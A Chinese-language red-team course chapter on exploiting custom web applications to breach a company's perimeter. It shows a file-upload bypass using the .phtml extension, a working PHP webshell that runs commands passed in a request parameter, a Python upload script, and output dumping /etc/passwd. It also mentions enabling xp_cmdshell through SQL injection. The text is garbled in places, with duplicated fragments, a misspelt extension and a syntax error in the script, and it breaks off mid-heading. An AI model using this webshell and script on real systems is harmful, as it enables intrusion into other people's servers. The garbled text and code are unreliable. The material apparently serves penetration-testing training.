利用常见web漏洞
利用常见web漏洞
虽然说利用Web漏洞不是唯一突破边界的方式,但绝对是占据主导地位的重要途径之一。在上一篇,我们说了如何利用漏洞的公开exp突 exp 突破企业边界,但每个企业往往都有自己独自开发的Web应用,且不开源,那么对于这种独自开发、高度自定义的web应 web 应用,我们就不能依赖于公开exp了 exp 了,而是需要通过手动与自动相结合的方式找出app的漏洞并加以利用。需要注意的是,该篇侧重于从黑盒的角度去寻找以及利用漏洞,因为下一篇会从白盒的角度去发掘漏洞。
我们固然可以通过自动化扫描器辅助我们寻找漏洞,但需要注意的是,使用扫描器是很不隐蔽的做法,而且依赖于扫描器会阻碍我们手动寻找漏洞。需要区别于web渗 web 渗透测试,尽管一些web漏洞依旧可能对我们有一定作用,例如信息泄漏、详细的报错信息等,但如果要突破边界,我们可能需要依赖于一些危险程度更高的漏洞,例如远程代码执行RCE、 RCE 、系统命令注入、SQL注SQL 注入等。尽管我们不能依赖于公开exp,但这不代表我们不可以参考公开exp中 exp 中的载荷。例如在 SQL Server数Server 数据库的SQL注入中,通过什么样的载荷可以模仿sa用户,开启xp_cmdshell,然后 xp_cmdshell再执行系统命令,是可以参考同类型的公开exp或 exp 或者cheatsheet的。
不安全的文件上传
我们来访问 raven-medicine.org 搭建在 Apache 2.4.41 服务器上的 Web 应用。该应用是企业的对外站点,因此是企业内部开发的。手动浏览一下该站点,我们发现该站点内容还是比较简约的,在众多页面中,我们发现 job-detail.html 看起来有望存在漏洞,因为这里有一个上传点。根据上下文,这个上传点是用于上传简历的,因此有 2 种可能的攻击途径
1:上传一份恶意文档,如果当 HR 手动点开该恶意文档,我们可以执行在客户端的代码。
2:上传 webshell,通过访问 webshell 获得代码执行。
考虑到恶意文档攻击需要等待用户交互,因此我们先尝试上传 Webshell。我们选择了一个 PHP 的后门 webshell。
可是,应用报错提示 .php 文件拓展名不被允许,也就是说该应用有着文件扩展名的白名单或者黑名单。
根据 HackTricks (https://book.hacktricks.xyz/pentesting-web/file-upload) 中的绕过技巧,我们先从简单的做起,尝试使用 .phtlm 来绕过,这次成功了。
接下来,我们需要能访问到我们上传的 webshell。这时候,可以选择枚举目录,但在那之前,不妨猜测一下可能存放我们 webshell 的位置,我们但愿上传的 webshell 没有被更名,因此猜测最终位置为 /upload/backdoor.phtml,实际上也确实如此。
在刚才,我们用浏览器交互的形式上传了 Webshell 并且执行了代码,现在,让我们用 Python (或者任何你喜欢的语言) 脚本实现一键自动化。该脚本接受 2 个参数,域名以及要执行的命令。rce 函数的实现作为作业请学员完成。
#!/usr/bin/env python
import requests
import sys
def upload(ip):
upload=ip+"/resume.php"
print(upload)
payload="<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>"
files={'resume':('cmd.phtml',payload)}
headers={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.','Referer':'http://'+ip+'/job-detail.html'}
r=requests.post(upload,headers=headers,files=files))
def rce(ip,cmd):
******填写此段代码*****
print("Output of the Command Execution:")
print(res)
if len(sys.argv)!=3:
print("Usage: python3 raven.py http://raven-medicine.org whoami")
ip=sys.argv[1]
url=ip+"/job-detail.html"
command=sys.argv[2]
upload(ip)
rce(ip,command)
预期的输出:
└─# python3 raven.py http://raven-medicine.org 'cat /etc/passwd'
http://raven-medicine.org/resume.php
Output of the Command Execution:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
web01:x:1000:1000:web01,,,:/home/web01:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:127:65534::/run/sshd:/usr/sbin/nologin
ansible:x:1001:1001:,,,:/home/ansible:/bin/bash
mysql:x:128:134:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:129:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
postgres:x:130:136:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mongodb:x:131:65534::/home/mongodb:/usr/sbin/nologin
SQL 注入
white